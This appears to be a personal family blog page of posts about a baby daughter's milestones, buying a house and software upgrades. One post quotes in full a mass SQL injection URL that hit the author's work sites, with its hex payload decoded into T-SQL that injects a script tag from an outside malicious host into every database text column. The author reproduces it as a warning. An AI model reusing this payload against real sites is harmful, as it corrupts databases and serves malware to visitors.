Poppy Photos - Early July

photo-page / slideshow

Poppy ate some broccoli

Poppy slept with her papa

and walked with her mama

And played with her bear and in her crib

And then Poppy and Anita and several other friends went to Tyler Park for the afternoon

Poppy Accomplishment, Sitting

Most changes are gradual - including this one… Poppy is sitting up pretty well now. Over the last two weeks she’s been getting closet to sitting unaided and most of this week, as long as there’s a pillow to protect her from occasionally flailing backwards - she’s a solid sitter. Amazing how proud I can be over such simple accomplishments.

Our House On Coral

We have made an offer on 183 Coral Ave. and it was accepted (finally).

You may have heard about the problems we had with the last house we were interested in, so were were trying not to get our hopes up too much - but now we are signed and contracted… good to go.

The house is big enough with a little expansion room in the basement, across the street from a great park and on an almost double lot. It’s got a couple of small decks and a brick patio.

The house is being inspected on July 7th. We close on Aug. 1st.

Also - just in case anyone is interested, here’s a map of places we’ve lived, that’s not quite complete yet, but it does include the new house.

Alan’s Finger Is In A Torture Device

Alan’s fingers were bent backwards and the ligaments are contracting/scaring… this is supposed to fix it (uncomfortably).

Penelope Lou - 5 Months Old

Our daughter is 5 months old today. The milestones of time help me take account of the monumental changes which have happened. We have a fully fledged baby - nobody would call her an infant… she will never be an infant again.

This is both wonderful and tragic - but luckily more on the wonderful side.

She’s starting to teeth occasionally, but it seems to bother her for a couple of days here and there. She can sit up or stand up while hanging on to something. Everyone loves her and she’s still like kryptonite - making even non-baby-lovers weak in the knees.

She’s eating sweet potatoes and green beans so far - enjoying both of them and wanting more.

Unfortunately she’s been talking a bit less this month. We got a few consonants in there, but she’s vocalized a bit less over all. Oh well - at least she’s still laughing a lot.

Sadness, No Home For The Blounts

We had gotten VERY excited about a house we were going to buy.

We made an offer, they countered, we accepted… all today (Sunday). We were waiting on the counter-offer-paperwork to sign and send back… well, instead of getting that, we actually got notified that the offer was retracted. Someone else made a better offer and we weren’t given an option to bid back.

Of course, this was after we’d told everyone and after we’d gotten really, really excited about this house. It really was perfect for us - expandable, large, great neighborhood, great character and charm… it really felt like us… the 30 other houses we’ve looked at all paled in comparison.

Now we’re depressed, we feel like we’ve looked at all the available houses in the areas we want to live in, which are large enough.

In the grand scheme of things, this is a minor annoyance. We’ve got our jobs, our health, our family and friends - and the most beautiful and perfect little girl… we’re doing great. But I’m still feeling very sorry for myself.

*pout*

Holy Hand Grenades, Firefox3 + Firebug1.2 = Amazing!

I’ve been putting off upgrading to FF3 because I was afraid of plugins which wouldn’t work and at this point, I live by many of my FF addons.

Well I feel silly now - having updated… Things seem to be as smooth as possible and FF is much more responsive. YAY MOZILLA!

Poppy, Age 4 Months - 4 Days In Colorado

Poppy at Month four:

This month has been quite productive. She has been growing by leaps and bounds, like
normal. She’s now reaching for everything and
putting it all in her mouth and dropping it on the floor. Nothing is safe within a foot and a half of her. She is sitting up well, if you help her
out. She’s standing well, if you help her out. I think she is just
starting to change from blue to hazel eyes, though that’s only in certain lighting. Of course she’s
still chubby. We think she is about 17 pounds and 25 and a half
inches. She’s still gloriously, generously, thankfully, happy and easy going. We are so lucky.

In Colorado:

The flight to Colorado was fantastic. Penelope slept through the
accent and decent and a little bit in between. She was so good. We
actually had to sit in between other people, the middle seats, on in
front of each other. We passed her back and forth a little bit over the
top which was kind of entertaining. We got a shuttle from the airport to
Keystone, again she slept through a lot of pressure changes and did
remarkably well. We got into our hotel room and had the gorgeous view
over a little lake. And every thing’s amazingly picturesque.

The meetings are going fine and it’s great to meet the families of other employees. Poppy is like kryptonite, melting the hearts of all around her.

I wasn’t there, but Poppy wet swimming today and had an inflatable boat… apparently she loved it - and was squeeling at the water, while anita swam around - using the boat as a kickboard. too cute.

Date Night == Ethiopian & Iron Man

Baby Sean

Jessie had his son (photos)

A Wonderful Investigation Into Ubuntu Usability

I think Ubuntu is great, easy to use, standardized, and built on Debian… what could be better? Apparently - there are certainly some things which could be better.

Here is a great experiment one geek and his girlfriend undertook:

Introduction

I’ve toyed with Linux since 2002, when I first installed Mandrake. With the latest release of Ubuntu,
I was interested to see how far Linux had come since then in terms of
being used easily by the mainstream. So, I tricked my grudging
girlfriend Erin into sitting down at a brand new Ubuntu 8.04
installation and performing some basic tasks. It’s surprising how many
seemingly simple things become complicated and even out of reach for
someone without a knowledge of Linux. There are a lot of little things
that could be done to make the experience a lot more friendly for
non-computer-literate people – some of them easy to implement, others
not at all.

Work Sites Attacked

Just an FYI - some of our old sites are not filtering out injection
attacks and got hosed last weekend. The attack seems fairly
sophisticated (imo) and is described in this post.

orderitem.asp?IT=GM-204;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0×4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C004000
4300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F0072002000430055
00520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D00200073007900
73006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069
006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F0072002000
62002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D0031
0036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00
200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C00450028004000400046004500540043
0048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B00
27005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C
005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F007700770077002E006E00
6900680061006F007200720031002E0063006F006D002F0031002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E0045
00580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E0044002000
43004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F00430075
00720073006F007200%20AS%20NVARCHAR(4000));EXEC(@S);–

If you just copy the hex value from this URL, as this…

0×4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C004000430020007600610072006300680061007200280032003500
3500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C
00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C007300
7900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E0078007400790070
0065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F00
7200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062
006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F004300750072007300
6F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D003000290020
0042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B0040004300
2B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B0027
0027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F007700770077002E006E006900680061006F007200720031002E0063006F006D002F00
31002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E004500580054002000460052004F004D00200020005400610062
006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F00
43007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200

And convert this to ASCII value, u can convert hex to ASCII

I got this…

DECLARE @T varchar(255)’@C varchar(255) DECLARE Table_Cursor CURSOR FOR
select a.name’b.name from sysobjects a’syscolumns b where a.id=b.id and
a.xtype=’u’ and (b.xtype=99 or b.xtype=35 or b.xtype=231 or
b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T’@C
WHILE(@@FETCH_STATUS=0) BEGIN exec(’update [’+@T+’ set
[’+@C+’=rtrim(convert(varchar’['+@C+’))+”<script
src=nihaorr1.com/1.js></script>”’)FETCH NEXT FROM
Table_Cursor INTO @T’@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

SQL Server Injection!!!! Here you can see the script being inserted
using Table Cursors, to each column in the table. If you read the code
you can see how each table in the entire database will be affected from
this.

The source of this came from 219.153.46.28,
28.46.153.219.broad.cq.cq.dynamic.163data.com.cn, the Agent is Indy
Library a CHINESE Bot. The agent Indy Library should be blocked entirly.

our attacks were similar and also coming from [219.153.46.28

——————–

if you’ve got crappy/insecure code out there - be warned

Poppy In The Mirror - Talking To Herself